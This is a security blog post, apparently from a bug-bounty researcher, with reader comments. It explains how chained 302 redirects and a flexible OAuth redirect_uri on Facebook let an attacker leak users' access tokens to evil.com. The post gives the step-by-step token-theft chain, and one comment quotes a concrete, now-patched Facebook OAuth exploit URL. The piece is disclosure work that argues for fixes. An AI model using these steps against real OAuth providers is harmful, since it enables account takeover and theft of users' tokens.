We've got Nir Goldshlager working on our side (he simply loves bounties and facebook does pay 'em). We both discovered some vulnerabilities in Facebook and we joined our forces to demonstrate how many potential problems are hidden in OAuth.
TL;DR: all oauth exploits are based on tampering with the redirect_uri parameter.
1 2 3 4
Here I demostrate 2 more threats proving that a flexible redirect_uri is the Achilles Heel of OAuth.
Open redirect is not a severe vulnerability on its own. OWASP says it can lead to "phishing". Yeah, it's almost nothing, but wait:
URI Fragment & 302 Redirects.
What happens if we load http://site1.com/redirect_to_other_site#DATA and Site1.com responds with Status 302 and Location: evil.com/blabla.
What about #DATA? It's a so called URI Fragment a.k.a location.hash and it's never sent on the Server-side.
The browser simply appends exactly the same value to a new redirect destination. Yeah, it will load evil.com/blabla#DATA.
I have a feeling that is not a reasonable browser feature. I have an even stronger feeling that it opens yet another critical flaw in OAuth.
Any chain of 302 redirects
on any allowed redirect_uri domain (Client's domain myapp.com, sometimes Provider's domain too — facebook.com)
to any page with attacker's Javascript (not necessarily open redirect)
= stolen access_token = Game Over
Steps:
- window.open(fb auth/redirect_uri=site.com/redirector&response_type=token)
- We get header:
Location: http://site.com/redirector#access_token=123 - When the browser loads http://site.com/redirector it gets following header
Location: http://evil.com/path - And now the browser navigates to
http://evil.com/path#access_token=123 - our Javascript leaks the location.hash
and this is...
Why Facebook Adds #_=_
Every time Facebook Connect redirects you to another URL it adds #_=_. It is supposed to kill a "sticky" URI fragment which the browser carries through chain of 302 redirects.
Previously we could use something like
FBAUTH?client_id=approved_app&redirect_uri=ourapp.com
in redirect_uri for other clients as a redirector to our app.
Fb auth for Other client -> Fb auth for Our client#access_token=otherClientToken -> 302 redirect to our app with #access_token of Other client.
Stolen Client Credentials Threat
Consumer keys of official Twitter clients
Is it game over? Currently - yes, both for OAuth1 and 2. Let me explain again response_type=code flow:
- redirect to /authorize url with redirect_uri param
- it redirects back to redirect_uri?code=123#_=_
- now server side obtains access_token sending client creds + used redirect_uri (to prevent leaking through referrer) + code
So if we have client creds we only need to find a document.referrer leaking redirect_uri (it can be any page with <img src="external site..."> or open redirector)
How would you obtain an access_token if redirect_uri would be static?
Oh, wait, there is no such way, because stolen credentials are not a threat if redirect_uri is whitelisted!
The funniest thing with all these rants
Most of our OAuth hacks pwn the Provider and its users (only the most-common vulnerability pwns the Client's authentication).
This makes me really curious what the hell is wrong with Facebook and why don't they care about their own Graph security and their own users. Why do they allow a flexible redirect_uri, opening an enormous attack surface (their own domain + client's app domain)?
We simply play Find-Chain-Of-302-Redirects, Find-XSS-On-Client and Leak-Credentials-Then-Find-Leaking-Redirect_uri games. Don't they understand it is clearly their business to protect themselves from non ideal clients?
A good migration technique could be based on recording the most used redirect_uri for every Client (most of rails apps use site.com/auth/facebook/callback) and then setting those redirect_uris as the whitelisted ones.
P.S. Although, as bounty hunters, me, @isciurus and Nir are OK with the current situation. There is so much $$$ floating around redirect_uri...
P.S.2 feel free to fix my language and grammar, I get many people asking to elaborate some paragraphs.
So are you saying, in short, that
ReplyDeletea. Facebook should be looking for a replacement for Oauth or
b. Facebook should work on improving its implementation
I'm not a expert in this, but I'm just curious for what do you think.
b, make redirect uri static
DeleteHi, good post. I had also reported this to FB for bounty (patched now):
ReplyDeleteUsed to work in IE/Firefox/Chrome:
https://www.facebook.com/dialog/oauth?client_id=210831918949520&response_type=token&scope=,,,,&redirect_uri=https://apps.facebook.com/candycrush1//////////%23/testrdirsdl/%2523
///// -> to bypass IE problem with redirection
candycrush1 -> to redirect it to a normal user page instead of candycrush game! (patched now)
%2523 and %23 to remove # in redirect url and have it in the URL without #.
I just wanted to post it here for the record.
Curious, how much does fb pay for these bounties?
Deletearound 5 k
DeleteThey want to pay minimum bounty (500$) to me as it was patched when they fixed something else ;)
DeleteHi Egor Homakov,
ReplyDeleteGood post!!
BTW, I have several questions about this post.
Until now, does facebook make the redirect_url static?
I recently need to familiar OAuth2 and I also apply the facebook app to do some test.
I found the redirect_url is whitelisted, facebook can let me provide some redirect urls.
And if I type any different one, it stop the workflow.
So I am little confused about what you said: " Why do they allow a flexible redirect_uri, opening an enormous attack surface (their own domain + client's app domain)?" at the "The funniest thing with all these rants" paragraph. Does facebook fix it?
And last thing, could you explain more why the facebook add the #_=_ to the redirect url ?
I do not certainly understand what is the relationship between them.
Thanks a lot!
1. u sure? just modify redirect_uri path.. is it whitelisted?!
Delete2. because OAuth redirect is like an open redirect, and it can be used as a chain of redirect to pass over the #token part. so #_=_ is supposed to kill the "passed" token